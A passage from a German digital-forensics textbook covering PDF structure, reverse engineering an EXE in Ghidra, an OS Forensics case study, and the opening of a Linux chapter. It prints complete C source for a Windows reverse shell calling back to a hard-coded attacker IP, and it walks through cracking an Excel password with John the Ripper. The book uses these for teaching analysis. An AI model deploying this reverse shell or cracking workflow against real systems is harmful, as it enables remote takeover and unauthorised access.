dekomprimiert und dekodiert werden müssen, bevor wir sie analysieren. 256
Streams und Objekte sind nicht die einzigen Dinge, auf die man bei der Analyse einer PDF-Datei achten sollte. Es gibt andere Schlüsselwörter, die man sich genauer ansehen sollte, wie zB action, URI, JavaScript, usw. Die Schlüsselwörter JavaScript, RichMedia und JS legen nahe, dass JavaScript Code im PDF eingebettet ist. Action, OpenAction, Named, Launch und acroform werden häufig dazu verwendet eine Aktion beim Öffnen der Datei auszuführen. So arbeiten Aktionen und JavaScript perfekt zusammen, wenn es darum geht Schadcode einzuschleusen! JavaScript kann Shellcodes oder andere Payloads enthalten und Aktionen können zB Ports öffnen oder Listener starten. Mit URI können bösartige Objekte von Servern nachgeladen werden. Das Keyword encrypt deutet darauf hin, dass das PDF verschlüsselte Objekte enthält. Die so genannte Tabelle enthält Zeiger zu jedem Objekt in einem PDF damit die Dokumentenstruktur gelesen werden kann ohne das gesamte Dokument einlesen zu müssen. Am Ende des Dokuments finden wir den Start der Tabelle in Bytes: 001cb3a0: 001cb3b0: 001cb3c0: 001cb3d0: 2030 720d 0a73 0a25 3030 0a3c 7461 2545 3030 3c2f 7274 4f46 206e 0d0a 7472 6169 6c65 5369 7a65 2039 313e 3e0d 7872 6566 0d0a 3131 360d 0d0a 00000 n..traile r..<</Size 91>>. .startxref..116. .%%EOF.. Das Schlüsselwort trailer zeigt das Dateiende an und die Nummer hinter startxref (in diesem Fall 116) ist der Offset der Tabelle in Bytes. Oftmals findet man hier auch den <</Author-Tag in dem sich Autor und Erstellungsdatum finden lassen. Diese Angaben sind allerdings leicht zu manipulieren und daher sollte man sie immer mit einer gewissen Skepsis betrachten! Die Tabelle startet mit dem String xref: 257
00000070: 00000080: 00000090: 000000a0: 000000b0: ... 2020 0d0a 7872 6566 0a30 3030 3030 3030 3020 6e0d 0a30 3030 3030 3030 3020 6e0d 3737 3920 3030 3030 Ausgabe gekürzt 0d0a 3031 3030 0a30 3020 3931 3620 3031 3030 6e0d 2034 3030 3636 3030 0a30 300d 3030 3320 3031 3030 ..xref..91 40. .0000000016 0000 0 n..0000001663 00000 n..0000001 779 00000 n..000 Formatieren wir dies kurz in eine einfacher lesbare Form um: ref 91 40 0000000016 00000 n 0000001663 00000 n 0000001779 00000 n ... usw. Die erste Zeile besagt, dass wir 40 Objekte haben, die mit der Nummer 91 starten. Jede weitere Zeile ist dann ein Objekt: Die ersten 10 Bytes sind der Offset von Dateibeginn und die nächsten 5 Bytes stellen die so genannte Object generation number dar. Die Buchstaben f und n zeigen an ob ein Objekt benutzt wird (n) oder nicht (f). Objekt 91 startet also an Offset 16 (0x10): 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 258 3931 6172 3438 2f4e 4820 656e 2030 697a 2f4f 2031 5b20 646f 206f 6564 2039 342f 3130 626a 626a 2031 332f 5420 3936 0d20 203c 2f4c 4520 3138 2035 2020 3c2f 2031 3231 3739 3637 2020 4c69 3838 3238 3138 5d3e 2020 6e65 3130 3835 312f 3e0d 2020 91 0 obj <</Line arized 1/L 18810 48/O 93/E 212885 /N 14/T 1879181/ H [ 1096 567]>>. endobj.
259
EXE-DATEIEN UNTERSUCHEN Für diese Übung verwenden wir den folgenden Quellcode: https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c Hierbei handelt es sich um eine recht "einfache" Reverse-Shell. Dies ist ein Programm, dass eine Verbindung von einem Opfer-PC zu einem anderen Rechner aufbaut um einem Angreifer die Fernsteuerung des Rechners zu ermöglichen. Der auf meine Testumgebung angepasste Quellcode sieht wie folgt aus: #include #include #include #include #include <stdio.h> <string.h> <process.h> <winsock2.h> <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define REMOTE_ADDR "192.168.1.2" #define REMOTE_PORT "8080" int main(int argc, char *argv[]) { FreeConsole(); WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); struct addrinfo *result = NULL, *ptr = NULL, hints; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result); ptr = result; SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL); connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); 260
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (HANDLE)ConnectSocket; si.hStdOutput = (HANDLE)ConnectSocket; si.hStdError = (HANDLE)ConnectSocket; TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE"); CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); WSACleanup(); } Beachten Sie hierbei die zwei fett hervorgehobenen Zeilen, die mit #define beginnen. Hiermit definieren wir die Angreifer-IP und den Port auf den sich diese Schadware verbinden soll. Die einfachste Analyse einer unbekannten EXE-Datei wäre die Analyse mit dem Linux-Befehl strings. Ich verwende dazu das WSL mit Kali Linux: kali@DESKTOP-ELDLDT6:/mnt/d/Cases/2021_002/Export$ strings RevShell.exe !This program cannot be run in DOS mode. ... Ausgabe gekürzt 8080 192.168.1.2 ... Ausgabe gekürzt 6!686>6D6J6P6V6\6q6 7$7L7^7 8/858b8h8 :i:r:w: :0;5;I;S;\; <O<Y<b<k< =#=)=/=5=;=A=G=M=S=Y=_=e=k=q=w=}= 2 2(2 Die IP in Verbindung mit der Zahl 8080 lässt nichts Gutes Vermuten bei einem unbekannten Programm. Um die Funktionsweise des Programms zu prüfen können wir ein von der NSA zur Verfügung gestelltes Tool namens Ghidra verwenden. Der Vorteil von Ghidra ist, dass dieses Tool nicht nur Assembly-Code zur Verfügung stellt, sondern auch mehr oder weniger brauchbar dekompilierten C/C++ Code! 261
Ghidra können Sie von folgender URL herunterladen: https://ghidra-sre.org/ Nach dem Start der Software sehen wir folgendes Fenster: Zuerst müssen wir mit File -> New Project ein neues Projekt anlegen: Hierbei legen wir zuerst fest, ob es ein Projekt ist, an dem mehrere Personen arbeiten (Shared Project) oder nicht (Non-Shared Project). Danach legen wir den Speicherort fest: 262
Nach einem Klick auf Finish sehen wir das Projektfenster: Wir können den CodeBrowser mit einem Klick auf das Drachen-Symbol öffnen. Danach sehen wir folgendes Fenster: 263
Nun können wir einfach die EXE-Datei, die wir untersuchen wollen, auf dieses Fenster ziehen. Sobald wir dies tun, öffnet sich der Import Dialog: Wenn wir auf OK klicken, sehen wir die möglichen Analyseoptionen und wir können die gewünschten Analysen auswählen: 264
Nach Abschluss der Analysen können wir uns mit Search -> For Strings wieder die Strings in der Datei ansehen. Dazu habe ich die minimale String-Länge auf 4 Bytes angepasst und dann die Suche so gestartet, dass die gesamte Datei durchsucht wird (Optionen Search All und All Blocks): Hierbei haben wir wieder die zwei gleichen Treffer wie beim strings Befehl. 265
Allerdings sehen wir hierbei auch die Label-Namen wie DAT_00402120 und s_192.168.1.2_00402128. Diese können wir dann mit Search -> Programm Text suchen. Ich habe Dazu eine Suche nach allen Vorkommen im Assembler-Code ausgeführt: Die erste Zeile mit dem PUSH DAT_00402120 führt uns zum folgenden AssemblerCode: 0040105a 0040105f 68 20 21 40 00 68 28 21 40 00 PUSH PUSH DAT_00402120 s_192.168.1.2_00402128 = 38h 8 = "192.168.1.2" Dabei wird uns auch die entsprechende Funktion im Decompiler angezeigt und wenn wir in dieser Funktion etwas nach unten scrollen, finden wir auch wieder das Label DAT_00402120: 266
Eine Einführung in Reverse-Engineering, Ghidra, C/C++ oder Assembler würde den Rahmen des Buches sprengen aber stark vereinfacht kann ich Ihnen zu Reverse Engineering sagen, dass wir hier Quellcode haben der keine Kommentare, keine vernünftigen Variablen- und Funktionsnamen hat. Darum ist es wichtig den Quellcode so weit aufzuräumen, dass man den Sinn wieder gut erfassen kann. Wir wollen dies nun anhand der oben markierten Zeilen tun... Zuerst sehen wir uns die getaddrinfo-Funktion an und dazu rufen wir die Dokumentation von folgender URL auf: https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpipgetaddrinfo Hier sehen wir, dass der Funktionsaufruf wie folgt lauten soll: INT WSAAPI getaddrinfo( [in, optional] PCSTR [in, optional] PCSTR [in, optional] const ADDRINFOA [out] PADDRINFOA ); pNodeName, pServiceName, *pHints, *ppResult Die ersten drei Parameter sind also Eingaben und in den vierten Parameter schreibt die Funktion Ihre Ergebnisse. Wir sehen hierbei aber auch, dass in den Fall beim Disassembly das Label s_192.168.1.2_00402128 direkt aufgelöst wurde und der String "192.168.1.2" als erster Parameter eingesetzt wurde: getaddrinfo("192.168.1.2",&DAT_00402120,&local_210,&local_274); Das heißt für uns auch, dass wir mehrere Labels suchen müssen und nicht jedes Label auch im dekompilierten Code landet! DAT_00402120 können wir nun im Decompile Fenster mit rechts anklicken und dann wählen wir die Option Rename Global. Nun können wir diesem Label einen sinnvolleren Namen geben - ich wähle hier SERVICENAME. Die Variable local_210 benenne ich in pHints um und local_274 in ppResultArray. 267
Das ppResultArray ein Array ist, sehen wir beispielsweise an der Zeile in der WSASocketW aufgerufen wird. Hier sehen wir eine etwas umständlichere Schreibweise zum Zugriff auf die einzelnen Indexnummern: local_220 = (HANDLE)WSASocketW(*(undefined4 *)(local_274 + 4),*(undefined4 *)(local_274 + 8), *(undefined4 *)(local_274 + 0xc),0,0,0); Da wir hier ein 32bit Programm haben, entspricht +4 der Indexziffer 1, +8 dem Index 2, usw. Außerdem können wir diese Annahme auch in der Dokumentation überprüfen denn diese verweist unter der Beschreibung des Parameters auf: https://docs.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2defaddrinfoa ... und dort finden wir auch den Aufbau dieses Structs: typedef struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; char *ai_canonname; struct sockaddr *ai_addr; struct addrinfo *ai_next; } ADDRINFOA, *PADDRINFOA; // // // // // // // // OFFSET OFFSET OFFSET OFFSET OFFSET OFFSET OFFSET OFFSET 0x0 0x4 0x8 0xC 0x10 0x14 0x18 0x1C [0] [1] [2] [3] [4] [5] [6] [7] Damit kann ich iVar1 in resultArray umbenennen. Eigentlich könnte man diese Zeile auch weglassen und bei connect(...) die Variable ppResultArray einsetzen, aber wir halten uns jetzt nicht damit auf und überoptimieren den dekompilierten Code. Wir wollen nur die Funktion des Programms verstehen und keine CodeOptimierung machen! Die Variable local_220 können wir in socket umbenennen und damit sieht der Code dann deutlich besser verständlich aus: getaddrinfo("192.168.1.2", &SERVICENAME, &pHints, &ppResultArray); resultArray = ppResultArray; 268
socket = (HANDLE)WSASocketW(*(undefined4 *)(ppResultArray + 4), *(undefined4 *)(ppResultArray + 8), *(undefined4 *)(ppResultArray + 0xc),0,0,0); connect((SOCKET)socket, *(sockaddr **)(resultArray + 0x18), *(int *)(resultArray + 0x10)); Zur besseren Orientierung habe ich in der struct Definition die entsprechenden Offset- und Index-Werte als Kommentare eingefügt. So sehen wir zB, dass resultArray + 0x18 dem Feld ai_addr entspricht. Außerdem bedeutet das *(sockaddr **)(resultArray + 0x18), dass wir in resultArray[6] bzw. resultArray + 0x18 einen Pointer (Zeiger auf eine Speicheradresse) haben, den wir mit * dereferenzieren (auf den Wert zugreifen). Um dieses Thema etwas einfacher zu erklären habe ich folgenden C++ Code erstellt: #include <iostream> #include <string> using namespace std; int main(){ string strVar = "Hello World!"; string* ptrVar = &strVar; cout << *ptrVar << endl; return 0; } Sie können diesen Code zB mit https://onecompiler.com/cpp testen. Zuerst wird eine Variable namens strVar vom Typ string erstellt und mit "Hello World!" initialisiert. Dann wird eine Variable vom Typ string-Pointer (string*) Namens ptrVar erstellt und dieser die Speicheradresse von strVar mit &strVar zugewiesen. Bei cout dereferenzieren wir mit *ptrVar die Variable ptrVar. Dabei wird die Speicheradresse in ptrVar genommen und die Daten an dieser Speicheradresse als String interpretiert da ptrVar vom Typ string-Pointer ist. 269
Natürlich gibt es in C/C++ auch Pointer auf Pointer und mehrfache Dereferenzierung. Wenn Sie mit Reverse Engineering anfangen wollen, müssen Sie sich zumindest in C/C++ einarbeiten und Grundlegende Assembler-Kenntnisse wären auch sehr wichtig. Andere Tools liefern Ihnen nur den Assembler-Code und keinen dekompilierten Code. Abgesehen davon können wir den Code auch in einem Debugger ausführen lassen während wir mit Ghidra daran arbeiten und den Code analysieren. Dies sollten wir allerdings nur in einer entsprechend sicheren Umgebung tun um nicht Schadware auf unserer Workstation auszuführen. Viele Schadprogramme erkennen dazu, dass Sie zB in einer VM ausgeführt oder Debuggt werden und passen Ihr verhalten entsprechend an. Außerdem kann manche Schadware aus einer VM ausbrechen. Daher ist Malware-Analyse nicht gerade einfach. Es gibt jedoch einige Bücher und Kurse zu diesem Thema auf dem Markt! 270
271
FALLBEISPIEL "EMMA CROOK" Es wird langsam Zeit, dass wir all das Gelernte in einem kleinen praktischen Beispiel anwenden. Dazu werden wir das Programm OS Forensics verwenden. Laden wir zuerst die Falldaten von https://www.isfce.com/sample-pe.htm herunter und legen diese in einem Ordner für diesen Fall ab. Ich habe diesen Fall gewählt da wir hier nur eine Diskette analysieren müssen. Aus Platzgründen ist es allerdings einfacher dieses Beispiel hier im Buch abzubilden als einen größeren und umfangreicheren Fall. Wenn Sie lieber ein ausführlicheres Beispiel versuchen möchten, kann ich Ihnen folgenden Fall vorschlagen: https://cfreds.nist.gov/all/NIST/HackingCase Zu diesem Beispiel-Fall finden Sie alle möglichen Lösungen und die richtigen Antworten im Internet um Ihre Ergebnisse zu prüfen. Ich setze bei diesem Beispiel voraus, dass eine entsprechende Dokumentation vorliegt, aus der hervorgeht, wer wann mit welchem Tool die Daten erfasst hat und das die Checksumme des original Datenträgers mit der Checksumme des Images übereinstimmt. Ohne entsprechende Dokumentation wären gefundene Beweise völlig wertlos im Falle eines Gerichtsverfahrens! Das Erste, das wir machen, bevor wir mit der Untersuchung beginnen, ist das Verifizieren der Checksummen - um uns hier etliche Screenshots diverser Tools zu ersparen weiche ich dazu auf meine Kali-Installation im WSL aus: ┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ md5sum CCE_Sample_PE.001 52cfa68a03debe9ef21c2a2584b7c17b CCE_Sample_PE.001 Wir gehen an dieser Stelle einfach davon aus, dass diese Checksumme mit derjenigen im Protokoll der Datenerfassung übereinstimmt. Dann kopieren wir das Image und verifizieren die Kopie nochmals: ┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ cp CCE_Sample_PE.001 CCE_Sample_PE_copy1.001 272
┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ md5sum CCE_Sample_PE_copy1.001 52cfa68a03debe9ef21c2a2584b7c17b CCE_Sample_PE_copy1.001 Wir arbeiten bei forensischen Untersuchungen niemals am Original und auch nicht auf dem ersten Image! Es kann immer passieren, dass ein Fehler in einem Programm das Image verändert oder das wir einen Fehler machen und das Image versehentlich mit Schreibrechten mounten. Es ist auch denkbar, dass bei der Untersuchung von Schadware das System kompromittiert wird. In all diesen Fällen könnten Beweise verändert und damit wertlos werden! Daher kopiere ich die erfassten Images nochmals, verifiziere diese Kopien und trenne dann den Datenträger mit dem ersten Image vom System. Dieser Datenträger wird dann in einem Tresor versperrt gelagert. So kann ich im schlimmsten Fall die Untersuchung wieder mit einer frischen Kopie beginnen, sollte etwas passiert sein. Das ist auch der Grund warum ich das AFF-Format (Advanced Forensics Format) bevorzuge. Dieses Dateiformat unterstützt Komprimierung und spart so in vielen Fällen eine Menge Speicherplatz. Allerdings benötigt die Analyse von komprimierten Images etwas mehr Zeit. Dann wird es Zeit eine Demo-Version von OS Forensics herunterzuladen. Ich finde OS Forensics ist ein sehr gutes Tool für Personen die gerade mit IT-Forensik anfangen oder nur gelegentlich Fälle bearbeiten. Es gibt eine Monats-Lizenz die Gelegenheitsnutzern sehr entgegen kommt und selbst die Jahreslizenz ist nicht sehr teuer. Außerdem bietet das Tool alle wichtigen Funktionen für die meisten Untersuchungen und ist recht einfach zu bedienen. Oftmals ist es auch hilfreich den eigenen Wissenstand in Form von Ausbildungen oder Zertifizierungen nachzuweisen. Die Zertifizierung als OSFCE (OS Forensics Certified Examiner) ist erschwinglich und die Prüfung sollte von jedem bestanden werden der sich ordentlich in das Tool eingearbeitet hat, selbst ohne Vorbereitungskurs auf die Prüfung. Nachdem Sie OS Forensics gestartet haben, müssen Sie zuerst einen neuen Fall anlegen: 273
Füllen Sie hierbei nicht nur den Reiter Basic Case Data aus! OS Forensics erlaubt Ihnen recht einfach die Dokumentation der Erfassung, weitere Details zum Fall und die Dokumentation der Beweismittelkette in den Fällen zu hinterlegen. Ich würde Ihnen empfehlen dies zu nutzen! Nachdem ein Fall angelegt wurde, müssen wir Datenträger hinzufügen. Hierbei können wir die Partitionen oder Festplatten des Systems, Images, lokale Ordner und Netzwerkfreigaben, einzelne Dateien, Volume Shadow Copies oder mit Bitlocker verschlüsselte Datenträger verwenden. Außerdem kommt OS Forensics neben Windows-Dateisystemen auch mit Linux und OS X Datenträgern klar. Wenn auch der Fokus eher auf Windows liegt, werden die wichtigsten Funktionen für eine Untersuchung für alle gängigen Betriebssysteme unterstützt. 274
Wie Sie oben im Bild sehen, haben wir hier die Kopie des Images ausgesucht und nicht das originale Image. Nach dem Hinzufügen des Images können wir dann den File System Browser aus der linken Leiste öffnen: Das Dateisystem scheint aber keinerlei Daten zu enthalten. Dies liegt wahrscheinlich daran, dass der Datenträger formatiert wurde. 275
Also nutzen wir den RAW Disk Viewer von der linken Leiste um zu prüfen ob daten auf den Datenträger zu finden sind: Da manuelles Carving der Dateien bei größeren Datenträgern doch sehr Aufwendig ist, lassen wir OS Forensics diese Aufgabe übernehmen... Dazu öffnen wir Deleted Files Search von der linken Leiste. Dann klicken wir auf den Text Config... neben dem Scan-Button. In diesem Dialog müssen wir sicherstellen, dass Enable File Carving (slow) angehakt ist. Wenn das der Fall ist, können wir auf Config Carving Options klicken. Dies sollte den folgenden Dialog einblenden: 276
In diesem Dialog müssen wir sicherstellen, dass alle gewünschten Dateiformate angewählt sind. Beim Carving, auch RAW-Recovery genannt, wird das Dateisystem ignoriert und es wird nach Dateitypsignaturen gesucht. So können dann auch zB in anderen Dokumenten eingebettete Dateien gefunden werden. Dazu ist es aber auch wichtig anzugeben nach welchen Signaturen gesucht werden soll. Je nach Ermittlung kann man die Anzahl der Dateien enorm einschränken indem man die Suche auf bestimmte Dateitypen limitiert. Wenn wir die Auswahl getroffen haben, können wir mit OK beide Dialoge schließen und mit einem Klick auf den Scan-Button die Suche nach gelöschten Dateien beginnen. Dies dauert bei dem 1,44MB großen Image nur Sekunden und liefert folgende Ergebnisse: 277
Sobald wir eine der gefundenen Dateien doppelt anklicken, öffnet sich der Viewer, den wir rechts neben den Dateien sehen. Wenn wir auf den Reiter Metadata klicken, sehen wir folgendes: Hierbei fällt uns auf, dass wir drei verschiedene Datumsangaben für Modify Date und zwei verschiedene Datumsangaben für Create Date haben. Derartige Dinge müssen Ihnen auffallen und Sie müssen so etwas klären bzw. recherchieren warum dies so ist! OS Forensics nutzt zur Ermittlung dieser Daten Exiftool und zwar im Grunde mit folgenden Parametern: 278
PS C:\Program Files\OSForensics> .\exiftool.exe -fast -G -m -q --File:all --Exiftool:all -a 'D:\Images\2021_001\Carved ''doc'' file 0x000000A5.doc' Dies erzeugt die folgende Ausgabe: Identification Language Code Doc Flags System Word 97 Modify Date Code Page Title Subject Author Keywords Template Last Modified By Revision Number Software Total Edit Time Create Date Modify Date Pages Words Characters Security Code Page Company Lines Paragraphs Char Count With Spaces App Version Scale Crop Links Up To Date Shared Doc Hyperlinks Changed Title Of Parts Heading Pairs Code Page Tag PID GUID Comp Obj User Type Len Comp Obj User Type : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : Word 8.0 English (US) 1Table, ExtChar Windows No 2004:09:15 18:28:03 Windows Latin 1 (Western European) Four score and seven years ago, our ... Emma Crook Normal.dot 1 Microsoft Word 8.0 1.0 minutes 2004:09:15 18:27:00 2004:09:15 18:28:00 1 0 0 None Windows Latin 1 (Western European) Really Big Company 1 1 0 8.4202 No No No No Four score and seven years ago, our ... Title, 1 Windows Latin 1 (Western European) {19320ABF-0723-11D9-9157-00045A8C9A41} 24 Microsoft Word Document 279
Create Date Modify Date Last Printed Revision Number Total Edit Time Words Characters Pages Paragraphs Lines Last Saved By : : : : : : : : : : : 2004:09:15 14:27:00Z 2004:09:15 14:28:00Z 0000:00:00 00:00:00 1 1 minute 0 0 1 1 1 (A:\Gettysburg Address.doc) Wenn wir die Option -G1 nutzen, erhalten wir die Informationen woher die Zeitangaben stammen: PS C:\Program Files\OSForensics> .\exiftool.exe -a -G1 'D:\Images\2021_001\ Carved ''doc'' file 0x000000A5.doc' [ExifTool] ExifTool Version Number : 12.25 ... [FlashPix] Create Date : 2004:09:15 18:27:00 [FlashPix] Modify Date : 2004:09:15 18:28:00 ... [FlashPix] Comp Obj User Type : Microsoft Word Document [MS-DOC] Modify Date : 2004:09:15 18:28:03 [MS-DOC] Create Date : 2004:09:15 14:27:00Z [MS-DOC] Modify Date : 2004:09:15 14:28:00Z Zu klären woran das liegt bzw. warum die Zeitangaben so sind, überlasse ich Ihnen als kleine Übung. Wenn wir die 4 Dateien näher untersuchen, sehen wir folgende interessante Einträge in den Metadaten: 280
Carved 'doc' file 0x00000021.doc: Author: Company: Create Date: Modify Date: Last Saved By: Emma Crook Really Big Company 2004:09:15 14:20:00Z 2004:09:15 14:22:00Z (A:\Magna Carta.doc) Carved 'doc' file 0x0000007C.doc: Autor: Company: Create Date: Modify Date: Last Saved By: --Key Computer Service, inc. 2004:09:15 14:24:00Z 2004:09:15 14:25:00Z (A:\Gettysburg Address.doc) Carved 'doc' file 0x000000A5.doc: Author: Company: Create Date: Modify Date: Last Saved By: Emma Crook Really Big Company 2004:09:15 14:27:00Z 2004:09:15 14:28:00Z (A:\Gettysburg Address.doc) Carved 'xls' file 0x000000CF.xls: Author: Security: Emma Crook Password protected Daraus können wir folgende Schlüsse ziehen: 1. Datei 0x00000021.doc ist für die Untersuchung wertlos. Diese Datei wurde von Emma Crook erstellt, enthält aber keine wichtigen Informationen. 2. Die Datei 0x0000007C.doc ist von jemand in der Firma Key Computer Service, inc. erstellt worden und hieß vormals Gettysburg Address.doc! Außerdem ist diese Datei höchstwahrscheinlich bearbeitet und überschrieben worden. Um dies zu beweisen bedarf es einer genaueren Untersuchung des Dateisystems und der Datenfragmente. 3. 0x000000A5.doc ist wahrsceinlich die neuere Version der vorherigen Datei und wurde von Emma Crook erstellt und bearbeitet. 4. Die Datei 0x000000CF.xls ist von Emma Crook erstellt und mit einem Passwort geschützt worden. 281
Eigentlich können wir nicht einmal mit Bestimmtheit sagen, dass es Frau Crook war denn wir haben keinen Beweis, dass Sie vor dem Computer gesessen ist, als die Daten erstellt wurden, oder auch nur den Beweis, dass Frau Crooks Computer benutzt wurde. In der Regel habe ich in meinen Gutachten eine allgemeine Formulierung in den Vorbemerkungen, die darauf hinweist, dass die Begriffe User, Benutzer, Userkonto, Useraccount und Benutzerkonto als Synonyme für das Benutzerkonto verwendet werden und nicht auf eine bestimmte Person bezogen sind. Außerdem weise ich auf darauf hin, dass alle Namen sich auf Angaben in Metadaten, etc. beziehen soweit nicht explizit darauf hingewiesen wird, dass eine reale Person gemeint ist. Wir haben in der Regel keine Beweise wie zB Überwachungsvideos, die eindeutig beweisen, dass eine bestimmte Person vor dem PC sitzt und die Aktionen ausführt... Hier haben wir wegen dem ungeschickten Vorgehen des Geschäftsführers nicht einmal die Platte des Computers um weitere Spuren zu sichern oder auch nur zu vergleichen ob die Dateien mit diesem Computer erstellt wurden. Im Grunde kann jeder bei der Installation von Word einen beliebigen Firmennamen und Autor eintragen ohne dass dies überprüft wird. Derartige Informationen fasse ich in den Vorbemerkungen zusammen denn innerhalb des Gutachtens immer davon zu sprechen, dass eine Datei auf einem Computer mit einer Word-Installation erstellt wurde, in der Emma Crook als Autor bzw. Besitzer eingetragen wurde, wäre sehr umständlich. Ich bin auch nur ein Mensch und könnte so etwas einmal vergessen und darum nutze ich diese Textbausteine in den Vorbemerkungen. Außerdem habe ich auf die "harte Tour" gelernt, dass eine Formulierung wie zB "Soweit im Gutachten die Begriffe Fehler und Mangel verwendet werden, dient dies nur zur Beschreibung von Sachverhalten und stellt keine rechtliche Wertung dar" nicht schaden kann! Nachdem wir an dieser Stelle nicht weiter kommen müssen wir die XLS-Datei zuerst knacken. Dazu exportieren wir die Datei wie folgt: 282
Markieren Sie die Datei indem Sie den Haken in die Checkbox setzen und klicken Sie dann die markierte Datei mit der rechten Maustaste an und wählen Sie 1 items(s) checked -> Save Deleted File(s) to Disk... Nachdem Sie die Datei abgespeichert haben, können wir folgendes Script verwenden um den Passwort-Hash zu extrahieren: https://github.com/openwall/john/blob/bleeding-jumbo/run/office2john.py Wenn Sie das Script heruntergeladen haben, können Sie es wie folgt aufrufen: ┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ python2 office2john.py Carved\ \'xls\'\ file\ 0x000000CF.xls > hash.txt Den Hash können wir uns mit dem cat Befehl anzeigen lassen: ┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ cat hash.txt Carved 'xls# file 0x000000CF.xls:$oldoffice$0*fd8366d381a091ec761dacf4501b79ca*4ab94798dc6cca226c204024a2829c 74*46854c3e0b40d8c236b547756a89e8ad:::::Carved 'xls' file 0x000000CF.xls Dann können wir versuchen das Passwort mit JohnTheRipper zu knacken: ┌──(kali@Lab1)-[/mnt/d/Images/2021_001] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (oldoffice, MS Office <= 2003 [MD5/SHA1 RC4 32/64]) Cost 1 (hash type) is 0 for all loaded hashes 283
Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status MITM key: e6b0b06b7e crook (Carved 'xls' file 0x000000CF.xls) 1g 0:00:00:00 DONE (2021-10-19 16:43) 3.225g/s 1162Kp/s 1162Kc/s 1162KC/s diamondhead..clay10 Use the "--show --format=oldoffice" options to display all of the cracked passwords reliably Session completed Hierzu verwende ich eine Wortliste namens rockyou.txt, die schlechte Passwörter in viele verschiedenen Sprachen beinhaltet. Das macht diese Wortliste sehr gut um schnell zum Ziel zu kommen. Wenn die Wortliste rockyou.txt versagt, versuche ich meine selbst erstellte leaks_combined.txt von https://sourceforge.net/projects/wordlist-collection/. Wenn beide Wortlisten kein Ergebnis bringen, wird es in über 90% der Fälle recht aufwendig die Passwörter zu knacken. Meist nutzt man dazu dann auch Grafikkarten, da diese deutlich schneller sind bei der Berechnung von Hash-Werten. In diesem Fall kann man folgende zwei Tools benutzen: > https://hashcat.net/hashcat/ (kostenlos & opensource) > https://www.passware.com/kit-forensic/ (kostenpflichtig) Wie wir anhand der fett markierten Zeile sehen können, wurde das Passwort geknackt und es lautet crook. Wenn wir dieses Passwort nun verwenden um die XLS-Datei zu öffnen sehen wir: 284
285
LINUX / UNIX FORENSIK Linux und Unix (hierunter fällt unter anderen auch Mac OS X) sind alternative Betriebssysteme zu Windows. Vor allem im Server-Bereich sind Linux-Systeme sehr beliebt und der überwiegende Großteil der Infrastruktur des Internets arbeitet auf Linux. Außerdem kommt Linux oftmals bei Firewalls- oder anderen Servern innerhalb von Firmen zum Einsatz. Einer der größten Unterschiede zu Windows ist, dass Linux und Unix die Philosophie verfolgen, dass alles eine Datei ist. Das gilt insbesondere für Konfigurationen und Logs. So werden für die meisten Serverdienste, auch Daemons genannt, die Konfigurationen in einfachen Textdateien abgelegt und auch über diese verändert. Das gleiche gilt für Logs. Konfigurationen finden sich meist unter /etc oder /home/[user]/.[ordner] und Logs befinden sich meist unter /var/log/. Die systemweiten Konfigurationsdateien liegen hierbei unter /etc und Konfigurationsdateien die einzelne User betreffen im Userverzeichnis des Benutzers - zB /home/mark/.mozilla/firefox für die Daten des Firefox-Browsers. Hierunter findet man sowohl die Konfigurationsdateien als auch die Profile, die Dinge wie Verlauf, Bookmarks, Cache, etc. beinhalten. Es gibt keine Registry in der alle möglichen Programme Daten in mehr oder weniger kryptischer Form ablegen. Linux und Unix sind also aus forensischer Sicht ein offenes Buch was gleichermaßen Fluch und Segen ist! Eine mögliche Auswertung ist dadurch einfacher aber auch der Angreifer kann seine digitalen Spuren so einfacher finden und vernichten indem er einfach seine IP-Adresse innerhalb von Log-Dateien sucht und diese Einträge dann löscht oder verändert. Außerdem gibt es keine Laufwerksbuchstaben wie unter Windows - Datenträger und Netzwerkfreigaben werden einfach innerhalb des Verzeichnisbaumes als ein bestimmter Ordner eingehängt. So kann zB die erste SATA-Festplatte (/dev/sda) bzw. deren erste Partition (/dev/sda1) unter / (Root- oder Wurzelverzeichnis) eingehängt sein und die zweite Festplatte (/dev/sdb) bzw. deren erste Partition (/dev/sdb1) ist dann unter /home eingebunden und beinhaltet die Benutzerverzeichnisse. Die drei Partition der dritten Platte (/dev/sdc1, /dev/sdc2, /dev/sdc3) könnten dann unter 286
